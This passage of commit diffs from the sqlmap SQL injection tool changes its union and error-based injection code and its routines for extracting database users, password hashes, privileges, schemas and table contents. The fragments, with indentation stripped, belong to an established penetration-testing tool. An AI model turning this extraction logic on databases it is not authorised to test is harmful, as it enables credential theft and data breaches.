untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
if resumeValue:
count = resume(countedExpression, None)
if not stopLimit:
if not count or not count.isdigit():
count = __oneShotErrorUse(countedExpression, expressionFields)
if isNumPosStrValue(count):
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the used SQL query. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
warnMsg = "the SQL query used does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
warnMsg = "the SQL query used does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
try:
for num in xrange(startLimit, stopLimit):
output = __errorFields(expression, expressionFields, expressionFieldsList, expected, num, resumeValue)
outputs.append(output)
except KeyboardInterrupt:
print
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
duration = calculateDeltaSeconds(start)
debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.debug(debugMsg)
return outputs
else:
return __oneShotErrorUse(expression, expressionFields)
return outputs

View File

@ -22,7 +22,7 @@ from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.settings import INBAND_FROM_TABLE
from lib.core.settings import FROM_TABLE
from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request
@ -98,14 +98,14 @@ def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix
query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
for count in range(conf.uColsStart, conf.uColsStop+1):
if getIdentifiedDBMS() in INBAND_FROM_TABLE and query.endswith(INBAND_FROM_TABLE[getIdentifiedDBMS()]):
query = query[:-len(INBAND_FROM_TABLE[getIdentifiedDBMS()])]
if getIdentifiedDBMS() in FROM_TABLE and query.endswith(FROM_TABLE[getIdentifiedDBMS()]):
query = query[:-len(FROM_TABLE[getIdentifiedDBMS()])]
if count:
query += ", %s" % conf.uChar
if getIdentifiedDBMS() in INBAND_FROM_TABLE:
query += INBAND_FROM_TABLE[getIdentifiedDBMS()]
if getIdentifiedDBMS() in FROM_TABLE:
query += FROM_TABLE[getIdentifiedDBMS()]
status = "%d/%d" % (count, conf.uColsStop)
debugMsg = "testing %s columns (%d%%)" % (status, round(100.0*count/conf.uColsStop))

View File

@ -17,6 +17,7 @@ from lib.core.common import dataToStdout
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getUnicode
from lib.core.common import initTechnique
from lib.core.common import isNumPosStrValue
from lib.core.common import parseUnionPage
from lib.core.data import conf
from lib.core.data import kb
@ -25,7 +26,7 @@ from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapSyntaxException
from lib.core.settings import INBAND_FROM_TABLE
from lib.core.settings import FROM_TABLE
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.utils.resume import resume
@ -76,13 +77,13 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
initTechnique(PAYLOAD.TECHNIQUE.UNION)
count = None
origExpr = expression
start = time.time()
count = None
origExpr = expression
start = time.time()
startLimit = 0
stopLimit = None
test = True
value = ""
stopLimit = None
test = True
value = ""
global reqCount
@ -102,13 +103,14 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if " FROM " in expression.upper() and " FROM DUAL" not in expression.upper() and "EXISTS(" not in expression.upper():
if " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))) and "EXISTS(" not in expression.upper():
limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp:
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
@ -117,14 +119,19 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
limitCond = int(stopLimit) > 1
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
if limitRegExp:
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif getIdentifiedDBMS() == DBMS.ORACLE:
limitCond = False
@ -140,7 +147,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
stopLimit += startLimit
untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
expression = expression[:untilLimitChar]
@ -154,14 +161,14 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
stopLimit = conf.limitStop
if not stopLimit or stopLimit <= 1:
if getIdentifiedDBMS() in INBAND_FROM_TABLE and expression.endswith(INBAND_FROM_TABLE[getIdentifiedDBMS()]):
if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]):
test = False
else:
test = True
if test:
# Count the number of SQL query entries output
countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
@ -177,15 +184,15 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
if output:
count = parseUnionPage(output, countedExpression)
if count and count.isdigit() and int(count) > 0:
if isNumPosStrValue(count):
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the used SQL query. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
@ -193,44 +200,44 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
stopLimit = 1
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query used does not "
elif (not count or int(count) == 0):
warnMsg = "the SQL query used does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
return None
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query used does not "
elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
warnMsg = "the SQL query used does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
return None
try:
for num in xrange(startLimit, stopLimit):
if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif getIdentifiedDBMS() == DBMS.ORACLE:
field = expressionFieldsList
else:
field = None
if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif getIdentifiedDBMS() == DBMS.ORACLE:
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = resume(limitedExpr, None)
limitedExpr = agent.limitQuery(num, expression, field)
output = resume(limitedExpr, None)
if not output:
output = unionUse(limitedExpr, direct=True, unescape=False)
if not output:
output = unionUse(limitedExpr, direct=True, unescape=False)
if output:
value += output
parseUnionPage(output, limitedExpr)
if output:
value += output
parseUnionPage(output, limitedExpr)
if conf.verbose in (1, 2):
length = stopLimit - startLimit
count = num - startLimit + 1
status = '%d/%d entries (%d%s)' % (count, length, round(100.0*count/length), '%')
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), status), True)
if conf.verbose in (1, 2):
length = stopLimit - startLimit
count = num - startLimit + 1
status = '%d/%d entries (%d%s)' % (count, length, round(100.0*count/length), '%')
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), status), True)
dataToStdout("\n")

View File

@ -54,7 +54,7 @@ class Enumeration(GenericEnumeration):
else:
dbs = [conf.db]
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
@ -63,7 +63,7 @@ class Enumeration(GenericEnumeration):
continue
query = rootQuery.inband.query % db
value = inject.getValue(query, blind=False, error=False)
value = inject.getValue(query, blind=False)
if value:
kb.data.cachedTables[db] = arrayizeValue(value)
@ -81,7 +81,7 @@ class Enumeration(GenericEnumeration):
logger.info(infoMsg)
query = rootQuery.blind.count % db
count = inject.getValue(query, inband=False, charsetType=2)
count = inject.getValue(query, inband=False, error=False, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
@ -93,7 +93,7 @@ class Enumeration(GenericEnumeration):
for index in range(int(count)):
query = rootQuery.blind.query % (db, index, db)
table = inject.getValue(query, inband=False)
table = inject.getValue(query, inband=False, error=False)
tables.append(table)
kb.hintValue = table
@ -144,10 +144,10 @@ class Enumeration(GenericEnumeration):
continue
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query % db
query += tblQuery
values = inject.getValue(query, blind=False, error=False)
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, basestring):
@ -165,7 +165,7 @@ class Enumeration(GenericEnumeration):
query = rootQuery.blind.count2
query = query % db
query += " AND %s" % tblQuery
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no table"
@ -184,7 +184,7 @@ class Enumeration(GenericEnumeration):
query = query % db
query += " AND %s" % tblQuery
query = agent.limitQuery(index, query, tblCond)
tbl = inject.getValue(query, inband=False)
tbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = tbl
foundTbls[db].append(tbl)
@ -229,10 +229,10 @@ class Enumeration(GenericEnumeration):
continue
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query % (db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
values = inject.getValue(query, blind=False, error=False)
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, basestring):
@ -270,7 +270,7 @@ class Enumeration(GenericEnumeration):
query = rootQuery.blind.count2
query = query % (db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
@ -289,7 +289,7 @@ class Enumeration(GenericEnumeration):
query = query % (db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
query = agent.limitQuery(index, query, colCond.replace("[DB]", db))
tbl = inject.getValue(query, inband=False)
tbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = tbl
if tbl not in dbs[db]:

View File

@ -41,7 +41,7 @@ class Enumeration(GenericEnumeration):
# Set containing the list of DBMS administrators
areAdmins = set()
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if query2:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
@ -54,7 +54,7 @@ class Enumeration(GenericEnumeration):
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
values = inject.getValue(query, blind=False, error=False)
values = inject.getValue(query, blind=False)
if not values and not query2:
infoMsg = "trying with table USER_ROLE_PRIVS"
@ -119,7 +119,7 @@ class Enumeration(GenericEnumeration):
query = rootQuery.blind.count2 % queryUser
else:
query = rootQuery.blind.count % queryUser
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
if not count.isdigit() and not query2:
@ -145,7 +145,7 @@ class Enumeration(GenericEnumeration):
query = rootQuery.blind.query2 % (queryUser, index)
else:
query = rootQuery.blind.query % (queryUser, index)
role = inject.getValue(query, inband=False)
role = inject.getValue(query, inband=False, error=False)
# In Oracle we get the list of roles as string
roles.add(role)
@ -201,10 +201,10 @@ class Enumeration(GenericEnumeration):
colQuery = colQuery % column
for db in dbs.keys():
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query
query += colQuery
values = inject.getValue(query, blind=False, error=False)
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, basestring):
@ -241,7 +241,7 @@ class Enumeration(GenericEnumeration):
query = rootQuery.blind.count2
query += " WHERE %s" % colQuery
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
@ -259,7 +259,7 @@ class Enumeration(GenericEnumeration):
query = rootQuery.blind.query2
query += " WHERE %s" % colQuery
query = agent.limitQuery(index, query)
tbl = inject.getValue(query, inband=False)
tbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = tbl
if tbl not in dbs[db]:

View File

@ -149,12 +149,12 @@ class Enumeration:
condition = ( getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ) )
condition |= ( getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema )
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if condition:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
value = inject.getValue(query, blind=False, error=False)
value = inject.getValue(query, blind=False)
if value:
kb.data.cachedUsers = arrayizeValue(value)
@ -167,7 +167,7 @@ class Enumeration:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of database users"
@ -186,7 +186,7 @@ class Enumeration:
query = rootQuery.blind.query2 % index
else:
query = rootQuery.blind.query % index
user = inject.getValue(query, inband=False)
user = inject.getValue(query, inband=False, error=False)
if user:
kb.data.cachedUsers.append(user)
@ -208,7 +208,7 @@ class Enumeration:
logger.info(infoMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery.inband.query2
else:
@ -230,7 +230,7 @@ class Enumeration:
query += " WHERE %s = '%s'" % (condition, conf.user)
value = inject.getValue(query, blind=False, error=False)
value = inject.getValue(query, blind=False)
if value:
for user, password in value:
@ -276,7 +276,7 @@ class Enumeration:
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of password "
@ -312,7 +312,7 @@ class Enumeration:
query = rootQuery.blind.query % (user, index, user)
else:
query = rootQuery.blind.query % (user, index)
password = inject.getValue(query, inband=False)
password = inject.getValue(query, inband=False, error=False)
if getIdentifiedDBMS() == DBMS.SYBASE:
getCurrentThreadData().disableStdOut = False
password = "0x%s" % strToHex(password)
@ -429,7 +429,7 @@ class Enumeration:
"E": "EXECUTE"
}
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
@ -451,7 +451,7 @@ class Enumeration:
else:
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
values = inject.getValue(query, blind=False, error=False)
values = inject.getValue(query, blind=False)
if not values and getIdentifiedDBMS() == DBMS.ORACLE and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
@ -554,7 +554,7 @@ class Enumeration:
query = rootQuery.blind.count2 % queryUser
else:
query = rootQuery.blind.count % queryUser
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
if not (isinstance(count, basestring) and count.isdigit()) and getIdentifiedDBMS() == DBMS.ORACLE and not query2:
@ -590,7 +590,7 @@ class Enumeration:
query = rootQuery.blind.query % (index, queryUser)
else:
query = rootQuery.blind.query % (queryUser, index)
privilege = inject.getValue(query, inband=False)
privilege = inject.getValue(query, inband=False, error=False)
# In PostgreSQL we get 1 if the privilege is True,
# 0 otherwise
@ -675,12 +675,12 @@ class Enumeration:
rootQuery = queries[getIdentifiedDBMS()].dbs
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
value = inject.getValue(query, blind=False, error=False)
value = inject.getValue(query, blind=False)
if value:
kb.data.cachedDbs = arrayizeValue(value)
@ -693,7 +693,7 @@ class Enumeration:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of databases"
@ -708,7 +708,7 @@ class Enumeration:
query = rootQuery.blind.query2 % index
else:
query = rootQuery.blind.query % index
db = inject.getValue(query, inband=False)
db = inject.getValue(query, inband=False, error=False)
if db:
kb.data.cachedDbs.append(db)
@ -782,7 +782,7 @@ class Enumeration:
else:
dbs = kb.data.cachedDbs
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
@ -802,7 +802,7 @@ class Enumeration:
if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
query = safeStringFormat(query, conf.db)
value = inject.getValue(query, blind=False, error=False)
value = inject.getValue(query, blind=False)
if value:
if getIdentifiedDBMS() == DBMS.SQLITE:
@ -838,7 +838,7 @@ class Enumeration:
query = rootQuery.blind.count
else:
query = rootQuery.blind.count % db
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
@ -863,7 +863,7 @@ class Enumeration:
query = rootQuery.blind.query % index
else:
query = rootQuery.blind.query % (db, index)
table = inject.getValue(query, inband=False)
table = inject.getValue(query, inband=False, error=False)
tables.append(table)
kb.hintValue = table
@ -975,7 +975,7 @@ class Enumeration:
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.inband.query % (conf.tbl, conf.db)
query += condQuery
@ -991,7 +991,7 @@ class Enumeration:
elif getIdentifiedDBMS() == DBMS.SQLITE:
query = rootQuery.inband.query % conf.tbl
value = inject.getValue(query, blind=False, error=False)
value = inject.getValue(query, blind=False)
if getIdentifiedDBMS() == DBMS.SQLITE:
parseSqliteTableSchema(value)
@ -1025,13 +1025,13 @@ class Enumeration:
query += condQuery
elif getIdentifiedDBMS() == DBMS.SQLITE:
query = rootQuery.blind.query % conf.tbl
value = inject.getValue(query, inband=False)
value = inject.getValue(query, inband=False, error=False)
parseSqliteTableSchema(value)
return kb.data.cachedColumns
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of columns "
@ -1066,7 +1066,7 @@ class Enumeration:
field = None
query = agent.limitQuery(index, query, field)
column = inject.getValue(query, inband=False)
column = inject.getValue(query, inband=False, error=False)
if not onlyColNames:
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
@ -1080,7 +1080,7 @@ class Enumeration:
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
query = rootQuery.blind.query2 % (conf.tbl, column)
colType = inject.getValue(query, inband=False)
colType = inject.getValue(query, inband=False, error=False)
if getIdentifiedDBMS() == DBMS.FIREBIRD:
colType = firebirdTypes[colType] if colType in firebirdTypes else colType
@ -1172,14 +1172,14 @@ class Enumeration:
entriesCount = 0
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if getIdentifiedDBMS() == DBMS.ORACLE:
query = rootQuery.inband.query % (colString, conf.tbl.upper())
elif getIdentifiedDBMS() == DBMS.SQLITE:
query = rootQuery.inband.query % (colString, conf.tbl)
else:
query = rootQuery.inband.query % (colString, conf.db, conf.tbl)
entries = inject.getValue(query, blind=False, error=False, dump=True)
entries = inject.getValue(query, blind=False, dump=True)
if entries:
if isinstance(entries, basestring):
@ -1227,7 +1227,7 @@ class Enumeration:
query = rootQuery.blind.count % conf.tbl
else:
query = rootQuery.blind.count % (conf.db, conf.tbl)
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
@ -1260,7 +1260,7 @@ class Enumeration:
logger.info(infoMsg)
query = rootQuery.blind.count2 % (column, conf.tbl)
value = inject.getValue(query, inband=False)
value = inject.getValue(query, inband=False, error=False)
if isNumPosStrValue(value):
validColumnList = True
@ -1307,7 +1307,7 @@ class Enumeration:
else:
query = rootQuery.blind.query2 % (column, conf.tbl, colList[0], pivotValue)
value = inject.getValue(query, inband=False)
value = inject.getValue(query, inband=False, error=False)
if column == colList[0]:
if not value:
@ -1345,7 +1345,7 @@ class Enumeration:
elif getIdentifiedDBMS() == DBMS.FIREBIRD:
query = rootQuery.blind.query % (index, column, conf.tbl)
value = inject.getValue(query, inband=False)
value = inject.getValue(query, inband=False, error=False)
lengths[column] = max(lengths[column], len(value) if value else 0)
entries[column].append(value)
@ -1514,14 +1514,14 @@ class Enumeration:
dbQuery = "%s%s" % (dbCond, dbCondParam)
dbQuery = dbQuery % db
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
query += dbQuery
query += exclDbsQuery
values = inject.getValue(query, blind=False, error=False)
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, basestring):
@ -1542,7 +1542,7 @@ class Enumeration:
query = rootQuery.blind.count
query += dbQuery
query += exclDbsQuery
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no database"
@ -1564,7 +1564,7 @@ class Enumeration:
query += exclDbsQuery
query = agent.limitQuery(index, query, dbCond)
foundDbs.append(inject.getValue(query, inband=False))
foundDbs.append(inject.getValue(query, inband=False, error=False))
return foundDbs
@ -1622,11 +1622,11 @@ class Enumeration:
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % tbl
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query
query += tblQuery
query += exclDbsQuery
values = inject.getValue(query, blind=False, error=False)
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, basestring):
@ -1647,7 +1647,7 @@ class Enumeration:
query = rootQuery.blind.count
query += tblQuery
query += exclDbsQuery
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no databases have table"
@ -1665,7 +1665,7 @@ class Enumeration:
query += tblQuery
query += exclDbsQuery
query = agent.limitQuery(index, query)
foundDb = inject.getValue(query, inband=False)
foundDb = inject.getValue(query, inband=False, error=False)
if foundDb not in foundTbls:
foundTbls[foundDb] = []
@ -1685,7 +1685,7 @@ class Enumeration:
query = rootQuery.blind.count2
query = query % db
query += " AND %s" % tblQuery
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no table"
@ -1704,7 +1704,7 @@ class Enumeration:
query = query % db
query += " AND %s" % tblQuery
query = agent.limitQuery(index, query)
foundTbl = inject.getValue(query, inband=False)
foundTbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = foundTbl
foundTbls[db].append(foundTbl)
@ -1772,11 +1772,11 @@ class Enumeration:
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query
query += colQuery
query += exclDbsQuery
values = inject.getValue(query, blind=False, error=False)
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, basestring):
@ -1815,7 +1815,7 @@ class Enumeration:
query = rootQuery.blind.count
query += colQuery
query += exclDbsQuery
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no databases have tables containing column"
@ -1833,7 +1833,7 @@ class Enumeration:
query += colQuery
query += exclDbsQuery
query = agent.limitQuery(index, query)
db = inject.getValue(query, inband=False)
db = inject.getValue(query, inband=False, error=False)
if db not in dbs:
dbs[db] = {}
@ -1855,7 +1855,7 @@ class Enumeration:
query = rootQuery.blind.count2
query = query % db
query += " AND %s" % colQuery
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
